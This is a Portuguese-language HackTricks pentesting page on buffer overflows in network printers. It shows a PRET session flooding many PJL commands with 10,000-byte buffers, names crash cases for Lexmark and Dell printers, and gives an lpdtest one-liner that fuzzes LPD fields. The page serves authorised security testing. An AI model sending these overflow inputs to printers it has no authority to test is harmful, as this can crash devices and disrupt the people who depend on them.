hacktricks/network-services-pentesting/pentesting-printers/buffer-overflows.md
2024-12-12 13:56:11 +01:00

5.4 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PJL

Várias impressoras a laser Lexmark travam quando recebem cerca de 1.000 caracteres como argumento INQUIRE (veja CVE-2010-0619) e enviar cerca de 3.000 caracteres como argumento SET para a impressora Dell 1720n trava o dispositivo:

@PJL INQUIRE 00000000000000000000000000000000000000000000000000000…

Você pode verificar Buffer Overflows usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> flood
Buffer size: 10000, Sending: @PJL SET [buffer]
Buffer size: 10000, Sending: @PJL [buffer]
Buffer size: 10000, Sending: @PJL COMMENT [buffer]
Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]
Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
Buffer size: 10000, Sending: @PJL INFO [buffer]
Buffer size: 10000, Sending: @PJL ECHO [buffer]
Buffer size: 10000, Sending: @PJL INQUIRE [buffer]
Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]
Buffer size: 10000, Sending: @PJL USTATUS [buffer]
Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]"
Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]"
Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]"

Daemon LPD

Ele permite múltiplos vetores definidos pelo usuário, como jobname, username ou hostname, que podem não estar suficientemente protegidos. Já foram descobertas várias vulnerabilidades relacionadas a esse mau funcionamento.

Um simples fuzzer LPD para testar buffer overflows pode ser criado usando a ferramenta lpdtest incluída no PRET. O argumento in define todas as entradas do usuário definidas pelo protocolo LPD para um determinado valor (neste caso, a saída do Python):

./lpdtest.py printer in "`python -c 'print "x"*150'`"

Você pode encontrar mais informações sobre esses ataques em http://hacking-printers.net/wiki/index.php/Buffer_overflows

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥